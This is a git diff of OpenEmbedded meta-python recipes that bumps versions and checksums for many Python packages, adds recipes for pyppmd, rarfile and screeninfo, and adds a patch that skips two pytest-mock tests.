diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.176.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.178.bb
index 56f34d4123..e969dbe5b6 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.176.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymisp_2.4.178.bb
@@ -4,7 +4,7 @@ LICENSE = "BSD-2-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=a3639cf5780f71b125d3e9d1dc127c20"
SRC_URI = "git://github.com/MISP/PyMISP.git;protocol=https;branch=main"
-SRCREV = "249cf20f3516100cea0adb0396635e2c13d7695d"
+SRCREV = "3a3096664109639322bff7285956ef7cc376a260"
S = "${WORKDIR}/git"
inherit python_poetry_core
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.5.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.6.0.bb
index 9ae3eef0c1..18e29a17bd 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.5.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pymongo_4.6.0.bb
@@ -8,7 +8,7 @@ HOMEPAGE = "http://github.com/mongodb/mongo-python-driver"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=86d3f3a95c324c9479bd8986968f4327"
-SRC_URI[sha256sum] = "681f252e43b3ef054ca9161635f81b730f4d8cadd28b3f2b2004f5a72f853982"
+SRC_URI[sha256sum] = "fb1c56d891f9e34303c451998ef62ba52659648bb0d75b03c5e4ac223a3342c2"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pynacl_1.5.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pynacl_1.5.0.bb
index 6e53461979..0747c67c19 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pynacl_1.5.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pynacl_1.5.0.bb
@@ -15,12 +15,6 @@ DEPENDS += "\
libsodium \
"
-RDEPENDS:${PN} = "\
- ${PYTHON_PN}-six \
- ${PYTHON_PN}-cffi \
- libsodium \
-"
-
do_compile:prepend() {
export SODIUM_INSTALL=system
}
@@ -28,3 +22,15 @@ do_compile:prepend() {
do_install:prepend() {
export SODIUM_INSTALL=system
}
+
+RDEPENDS:${PN} = "\
+ ${PYTHON_PN}-six \
+ ${PYTHON_PN}-cffi \
+ libsodium \
+"
+
+RPROVIDES:${PN} = "python3-nacl"
+
+# in meta-virtualization layer
+#
+RCONFLICTS:${PN} = "python3-nacl"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.2.bb
index c63e75cf2e..3f284f2453 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyperf_2.6.2.bb
@@ -13,7 +13,7 @@ Features: \
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://COPYING;md5=78bc2e6e87c8c61272937b879e6dc2f8"
-SRC_URI[sha256sum] = "171aea69b8efde61210e512166d8764e7765a9c7678b768052174b01f349f247"
+SRC_URI[sha256sum] = "64d8fadce6a74f478f29832c1eaa2a04856655ebff17292d5237fc8317c3a3c5"
DEPENDS += "${PYTHON_PN}-six-native"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyppmd_1.1.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyppmd_1.1.0.bb
new file mode 100644
index 0000000000..053c9adab5
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyppmd_1.1.0.bb
@@ -0,0 +1,20 @@
+SUMMARY = "PPMd compression/decompression library"
+HOMEPAGE = "https://pyppmd.readthedocs.io/en/latest/"
+LICENSE = "LGPL-2.1-or-later"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
+
+inherit pypi python_setuptools_build_meta
+
+SRC_URI[sha256sum] = "1d38ce2e4b7eb84b53bc8a52380b94f66ba6c39328b8800b30c2b5bf31693973"
+
+DEPENDS += " \
+ ${PYTHON_PN}-setuptools-scm-native \
+ ${PYTHON_PN}-toml-native \
+ ${PYTHON_PN}-wheel-native \
+"
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-email \
+ ${PYTHON_PN}-importlib-metadata \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.10.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.13.2.bb
index da22a43deb..d31f45131f 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.10.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pystemd_0.13.2.bb
@@ -2,10 +2,17 @@ SUMMARY = "Python bindings for interacting with systemd over DBus"
LICENSE = "LGPL-2.1-only"
LIC_FILES_CHKSUM = "file://LICENSE;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI[sha256sum] = "d74a814bfda01085db1a8ad90be3cb27daf23a51ab6b03e7e29ec811fa2ae859"
+SRC_URI[sha256sum] = "4dcfa4b13a55685c49d3d17c10631eca18c33770f66316f8ef2337b8951cc144"
DEPENDS = "systemd python3-cython-native"
-RDEPENDS:${PN} += "python3-xml python3-pprint"
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-xml \
+ ${PYTHON_PN}-lxml \
+ ${PYTHON_PN}-pprint \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-shell \
+ ${PYTHON_PN}-io \
+"
REQUIRED_DISTRO_FEATURES = "systemd"
inherit pypi setuptools3 features_check pkgconfig
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.21.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.22.0.bb
index c96c0e0801..8fa77ac056 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.21.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-asyncio_0.22.0.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "pytest-asyncio is an Apache2 licensed library, written in Python,
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=136e4f49dbf29942c572a3a8f6e88a77"
-SRC_URI[sha256sum] = "40a7eae6dded22c7b604986855ea48400ab15b069ae38116e8c01238e9eeb64d"
+SRC_URI[sha256sum] = "01da1bf94ff0b969cc8d760104f7c1011903d0d658bdaef0bbae769660a7fbc4"
inherit pypi python_setuptools_build_meta
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock/0001-test_pytest_mock-skip-args-introspection-tests.patch b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock/0001-test_pytest_mock-skip-args-introspection-tests.patch
new file mode 100644
index 0000000000..f024e79d93
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock/0001-test_pytest_mock-skip-args-introspection-tests.patch
@@ -0,0 +1,38 @@
+From e184fb950ad3b52c5c16438d39fe4d516c784e30 Mon Sep 17 00:00:00 2001
+From: Trevor Gamblin <tgamblin@baylibre.com>
+Date: Thu, 12 Oct 2023 17:32:40 -0400
+Subject: [PATCH] test_pytest_mock: skip args introspection tests
+
+Disable these two tests for now so that python3-pytest-mock can have
+successful ptest runs.
+
+Upstream-Status: Inappropriate [OE-Specific]
+
+Signed-off-by: Trevor Gamblin <tgamblin@baylibre.com>
+---
+ tests/test_pytest_mock.py | 2 ++
+ 1 file changed, 2 insertions(+)
+
+diff --git a/tests/test_pytest_mock.py b/tests/test_pytest_mock.py
+index 3d53241..157b6c3 100644
+--- a/tests/test_pytest_mock.py
++++ b/tests/test_pytest_mock.py
+@@ -581,6 +581,7 @@ def test_assert_called_wrapper(mocker: MockerFixture) -> None:
+ stub.assert_called()
+
+
++@pytest.mark.skip("Async not correctly detected, skip for now")
+ @pytest.mark.usefixtures("needs_assert_rewrite")
+ def test_assert_called_args_with_introspection(mocker: MockerFixture) -> None:
+ stub = mocker.stub()
+@@ -597,6 +598,7 @@ def test_assert_called_args_with_introspection(mocker: MockerFixture) -> None:
+ stub.assert_called_once_with(*wrong_args)
+
+
++@pytest.mark.skip("Async not correctly detected, skip for now")
+ @pytest.mark.usefixtures("needs_assert_rewrite")
+ def test_assert_called_kwargs_with_introspection(mocker: MockerFixture) -> None:
+ stub = mocker.stub()
+--
+2.41.0
+
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.11.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.12.0.bb
index 69d74567c3..ac6f8e8313 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.11.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-mock_3.12.0.bb
@@ -8,9 +8,10 @@ LIC_FILES_CHKSUM = " \
SRC_URI = " \
git://github.com/pytest-dev/pytest-mock;branch=main;protocol=https \
file://run-ptest \
+ file://0001-test_pytest_mock-skip-args-introspection-tests.patch \
"
-SRCREV ?= "d3e73f2e93f7b93eba0a36e17e43bafd969da4fe"
+SRCREV = "69adc6f76c1a7baf4e7a728da9eec38741d5783e"
SRC_URI[sha256sum] = "fbbdb085ef7c252a326fd8cdcac0aa3b1333d8811f131bdcc701002e1be7ed4f"
@@ -21,6 +22,7 @@ DEPENDS += "${PYTHON_PN}-setuptools-scm-native"
RDEPENDS:${PN} += " \
python3-asyncio \
python3-pytest \
+ python3-pytest-asyncio \
python3-unittest \
"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.1.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.2.0.bb
index c4faec6c61..da8bc5dd35 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.1.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-timeout_2.2.0.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=d8048cd156eda3df2e7f111b0ae9ceff"
PYPI_PACKAGE = "pytest-timeout"
-SRC_URI[sha256sum] = "c07ca07404c612f8abbe22294b23c368e2e5104b521c1790195561f37e1ac3d9"
+SRC_URI[sha256sum] = "3b0b95dabf3cb50bac9ef5ca912fa0cfc286526af17afc806824df20c2f72c90"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.3.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.4.0.bb
index 6001977a48..c3b84c70c2 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.3.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pytest-xdist_3.4.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/pytest-dev/pytest-xdist"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=772fcdaca14b378878d05c7d857e6c3e"
-SRC_URI[sha256sum] = "d5ee0520eb1b7bcca50a60a518ab7a7707992812c578198f8b44fdfac78e8c93"
+SRC_URI[sha256sum] = "3a94a931dd9e268e0b871a877d09fe2efb6175c2c23d60d56a6001359002b832"
inherit pypi python_setuptools_build_meta
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.18122.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.20123.bb
index e67e792f7e..960da1437c 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.18122.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-python-vlc_3.0.20123.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "wiki.videolan.org/PythonBinding"
LICENSE = "LGPL-2.0-only"
LIC_FILES_CHKSUM = "file://COPYING;md5=4fbd65380cdd255951079008b364516c"
-SRC_URI[sha256sum] = "1039bde287853b4b7b61ba22d83761832434f78506da762dfb060291bf32897d"
+SRC_URI[sha256sum] = "244fbb9e392a0326841fca926d6d12a2a36c546982191f493f148fa19e66b1d4"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyudev_0.24.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyudev_0.24.1.bb
index 98817f9312..6fcf346bc4 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-pyudev_0.24.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-pyudev_0.24.1.bb
@@ -20,5 +20,3 @@ RDEPENDS:${PN} = "\
${PYTHON_PN}-fcntl \
libudev \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.11.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.13.bb
index 3ea5594887..1623f721fc 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.11.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-rapidjson_1.13.bb
@@ -5,7 +5,7 @@ LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=4daf3929156304df67003c33274a98bd"
SRC_URI = "git://github.com/python-rapidjson/python-rapidjson.git;protocol=https;branch=master"
-SRCREV = "e1b41f64df1705770b7b70d7221a4812909c1d0f"
+SRCREV = "a87053d9b97750afddb504da05bd1cd9f4b94654"
S = "${WORKDIR}/git"
@@ -27,6 +27,7 @@ DEPENDS += " \
RDEPENDS:${PN}-ptest += " \
${PYTHON_PN}-pytest \
${PYTHON_PN}-unittest-automake-output \
+ ${PYTHON_PN}-pytz \
"
RDEPENDS:${PN} += " \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-rarfile_4.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-rarfile_4.1.bb
new file mode 100644
index 0000000000..ece92ee3b3
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-rarfile_4.1.bb
@@ -0,0 +1,23 @@
+SUMMARY = "RAR archive reader for Python"
+HOMEPAGE = "https://github.com/markokr/rarfile"
+LICENSE = "ISC"
+SECTION = "devel/python"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=2f31e224cbf0c29cb6c55f2bae0e165f"
+
+inherit setuptools3
+
+SRC_URI[sha256sum] = "db60b3b5bc1c4bdeb941427d50b606d51df677353385255583847639473eda48"
+
+inherit pypi
+
+PYPI_PACKAGE="rarfile"
+
+RDEPENDS:${PN} += "\
+ p7zip \
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-datetime \
+ ${PYTHON_PN}-crypt \
+ ${PYTHON_PN}-io \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.8.8.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.10.3.bb
index 1676bab26a..c26d55f474 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.8.8.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-regex_2023.10.3.bb
@@ -5,7 +5,7 @@ LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=7b5751ddd6b643203c31ff873051d069"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "fcbdc5f2b0f1cd0f6a56cdb46fe41d2cce1e644e3b68832f3eeebc5fb0f7712e"
+SRC_URI[sha256sum] = "3fef4f844d2290ee0ba57addcec17eec9e3df73f10a2748485dfd6a3a188cc0f"
RDEPENDS:${PN} += " \
python3-stringold \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-robotframework-seriallibrary_0.4.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-robotframework-seriallibrary_0.4.3.bb
index 4ad5c3601d..4c0bd7e3ec 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-robotframework-seriallibrary_0.4.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-robotframework-seriallibrary_0.4.3.bb
@@ -13,5 +13,3 @@ RDEPENDS:${PN} += " \
${PYTHON_PN}-pyserial \
${PYTHON_PN}-robotframework \
"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.1.bb
index 98b7690e1b..de326815ac 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-schedule_1.2.1.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://github.com/dbader/schedule"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=6400f153491d45ea3459761627ca24b2"
-SRC_URI[sha256sum] = "b4ad697aafba7184c9eb6a1e2ebc41f781547242acde8ceae9a0a25b04c0922d"
+SRC_URI[sha256sum] = "843bc0538b99c93f02b8b50e3e39886c06f2d003b24f48e1aa4cadfa3f341279"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-screeninfo_0.8.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-screeninfo_0.8.1.bb
new file mode 100644
index 0000000000..0fb3f3a228
--- /dev/null
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-screeninfo_0.8.1.bb
@@ -0,0 +1,16 @@
+DESCRIPTION = "Fetch location and size of physical screens."
+HOMEPAGE = "https://github.com/rr-/screeninfo"
+SECTION = "devel/python"
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://LICENSE.md;md5=a23813181e06852d377bc25ae5563a97"
+
+PYPI_PACKAGE = "screeninfo"
+
+SRC_URI[sha256sum] = "9983076bcc7e34402a1a9e4d7dabf3729411fd2abb3f3b4be7eba73519cd2ed1"
+
+inherit pypi setuptools3
+
+RDEPENDS:${PN} += "\
+ ${PYTHON_PN}-core \
+ ${PYTHON_PN}-profile \
+"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.2.bb
index 2d85d789c7..f90ea0c9dc 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-semver_3.0.2.bb
@@ -4,8 +4,7 @@ BUGTRACKER = "https://github.com/python-semver/python-semver"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=d9da679db3bdce30a1b4328d5c474f98"
-SRC_URI[md5sum] = "b7502c12ce325ffffeab694fed52f6f5"
-SRC_URI[sha256sum] = "9ec78c5447883c67b97f98c3b6212796708191d22e4ad30f4570f840171cbce1"
+SRC_URI[sha256sum] = "6253adb39c70f6e51afed2fa7152bcd414c411286088fb4b9effb133885ab4cc"
inherit pypi python_setuptools_build_meta ptest
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.26.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.35.0.bb
index 697f102a2e..b2bc875f5e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.26.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-sentry-sdk_1.35.0.bb
@@ -3,7 +3,7 @@ DESCRIPTION = "This is the next line of the Python SDK \
for Sentry, intended to replace the raven package on PyPI."
HOMEPAGE = "https://github.com/getsentry/sentry-python"
LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=7fcb29c83dd48cb7b112d0dd81111a89"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=03dc788d9a9486be5e6a1d99c2c1ce3a"
RDEPENDS:${PN} += "\
${PYTHON_PN}-urllib3 \
@@ -15,7 +15,7 @@ RDEPENDS:${PN} += "\
${PYTHON_PN}-datetime \
"
-SRC_URI[sha256sum] = "760e4fb6d01c994110507133e08ecd4bdf4d75ee4be77f296a3579796cf73134"
+SRC_URI[sha256sum] = "04e392db9a0d59bd49a51b9e3a92410ac5867556820465057c2ef89a38e953e9"
PYPI_PACKAGE = "sentry-sdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.4.bb
index aff5f24a69..e519e8e229 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-shellingham_1.5.4.bb
@@ -3,7 +3,7 @@ SECTION = "devel/python"
LICENSE = "ISC"
LIC_FILES_CHKSUM = "file://LICENSE;md5=78e1c0248051c32a38a7f820c30bd7a5"
-SRC_URI[sha256sum] = "cb4a6fec583535bc6da17b647dd2330cf7ef30239e05d547d99ae3705fd0f7f8"
+SRC_URI[sha256sum] = "8dbca0739d487e5bd35ab3ca4b36e11c4078f3a234bfce294b0a0291363404de"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.2.bb
index 1fb31a3a3a..91f6b35b32 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-simplejson_3.19.2.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "http://cheeseshop.python.org/pypi/simplejson"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE.txt;md5=c6338d7abd321c0b50a2a547e441c52e"
-SRC_URI[sha256sum] = "6277f60848a7d8319d27d2be767a7546bc965535b28070e310b3a9af90604a4c"
+SRC_URI[sha256sum] = "9eb442a2442ce417801c912df68e1f6ccfcd41577ae7274953ab3ad24ef7d82c"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-snappy_0.6.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-snappy_0.6.1.bb
index 8a30f7cb78..bd0979d0b4 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-snappy_0.6.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-snappy_0.6.1.bb
@@ -11,5 +11,3 @@ inherit pypi setuptools3
PYPI_PACKAGE = "python-snappy"
RDEPENDS:${PN} += "snappy"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.9.0.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.10.0.bb
index 9064ee4b8d..68168bb635 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.9.0.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-socketio_5.10.0.bb
@@ -9,7 +9,7 @@ inherit pypi python_setuptools_build_meta
PYPI_PACKAGE = "python-socketio"
-SRC_URI[sha256sum] = "dc42735f65534187f381fde291ebf620216a4960001370f32de940229b2e7f8f"
+SRC_URI[sha256sum] = "01c616946fa9f67ed5cc3d1568e1c4940acfc64aeeb9ff621a53e80cabeb748a"
PACKAGECONFIG ?= "asyncio_client client"
PACKAGECONFIG[asyncio_client] = ",,,${PYTHON_PN}-aiohttp ${PYTHON_PN}-websockets"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-soupsieve_2.5.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-soupsieve_2.5.bb
index 585613dd5f..42c07fb4cb 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-soupsieve_2.5.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-soupsieve_2.5.bb
@@ -12,10 +12,6 @@ SRC_URI += " \
file://run-ptest \
"
-RDEPENDS:${PN} += "\
- ${PYTHON_PN}-beautifulsoup4 \
-"
-
RDEPENDS:${PN}-ptest += " \
${PYTHON_PN}-pytest \
${PYTHON_PN}-beautifulsoup4 \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.21.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.23.bb
index 92db5045ce..ce216b0164 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.21.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-sqlalchemy_2.0.23.bb
@@ -4,7 +4,7 @@ HOMEPAGE = "http://www.sqlalchemy.org/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=b707d50badb798e1d897f2c8f649382d"
-SRC_URI[sha256sum] = "05b971ab1ac2994a14c56b35eaaa91f86ba080e9ad481b20d99d77f381bb6258"
+SRC_URI[sha256sum] = "c1bda93cbbe4aa2aa0aa8655c5aeda505cd219ff3e8da91d1d329e143e4aff69"
PYPI_PACKAGE = "SQLAlchemy"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.2.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.3.bb
index 21e4b77378..55ddff383f 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.2.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-stack-data_0.6.3.bb
@@ -8,7 +8,7 @@ PYPI_PACKAGE = "stack_data"
inherit pypi python_setuptools_build_meta
-SRC_URI[sha256sum] = "32d2dd0376772d01b6cb9fc996f3c8b57a357089dec328ed4b6553d037eaf815"
+SRC_URI[sha256sum] = "836a778de4fec4dcd1dcd89ed8abff8a221f58308462e1c4aa2a3cf30148f0b9"
RDEPENDS:${PN} = " \
python3-asttokens \
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.6.7.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.7.0.bb
index e8024987c9..56448f738e 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.6.7.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-texttable_1.7.0.bb
@@ -5,6 +5,6 @@ LIC_FILES_CHKSUM = "file://LICENSE;md5=7a97cdac2d9679ffdcfef3dc036d24f6"
inherit pypi setuptools3
-SRC_URI[sha256sum] = "290348fb67f7746931bcdfd55ac7584ecd4e5b0846ab164333f0794b121760f2"
+SRC_URI[sha256sum] = "2d2068fb55115807d3ac77a4ca68fa48803e84ebb0ee2340f858107a36522638"
BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.3.bb
index e86a3c7898..89acd77770 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-tomlkit_0.12.3.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "https://pypi.org/project/tomlkit/"
LICENSE = "MIT"
LIC_FILES_CHKSUM = "file://LICENSE;md5=31aac0dbc1babd278d5386dadb7f8e82"
-SRC_URI[sha256sum] = "38e1ff8edb991273ec9f6181244a6a391ac30e9f5098e7535640ea6be97a7c86"
+SRC_URI[sha256sum] = "75baf5012d06501f07bee5bf8e801b9f343e7aac5a92581f20f80ce632e6b5a4"
inherit pypi python_poetry_core ptest
@@ -27,3 +27,5 @@ do_install_ptest() {
install -d ${D}${PTEST_PATH}/tests
cp -rf ${S}/tests/* ${D}${PTEST_PATH}/tests/
}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.3.bb
index af5009b6ae..c587422960 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-tornado_6.3.3.bb
@@ -6,7 +6,7 @@ HOMEPAGE = "http://www.tornadoweb.org/en/stable/"
LICENSE = "Apache-2.0"
LIC_FILES_CHKSUM = "file://LICENSE;md5=3b83ef96387f14655fc854ddc3c6bd57"
-SRC_URI[sha256sum] = "d68f3192936ff2c4add04dc21a436a43b4408d466746b78bb2b9d0a53a18683f"
+SRC_URI[sha256sum] = "e7d8db41c0181c80d76c982aacc442c0783a2c54d6400fe028954201a2e032fe"
inherit pypi setuptools3
diff --git a/meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.10.1.bb b/meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.13.0.bb
index 7df1d66ccc..c16c1ef0ef 100644
--- a/meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.10.1.bb
+++ b/meta-openembedded/meta-python/recipes-devtools/python/python3-traitlets_5.13.0.bb
@@ -3,7 +3,7 @@ HOMEPAGE = "http://ipython.org"
LICENSE = "BSD-3-Clause"
LIC_FILES_CHKSUM = "file://LICENSE;md5=13bed0ee6f46a6f6dbf1f9f9572f250a"
-SRC_URI[sha256sum] = "db9c4aa58139c3ba850101913915c042bdba86f7c8a0dda1c6f7f92c5da8e542"
+SRC_URI[sha256sum] = "9b232b9430c8f57288c1024b34a8f0251ddcc47268927367a0dd3eeaca40deb5"
inherit pypi python_hatchling
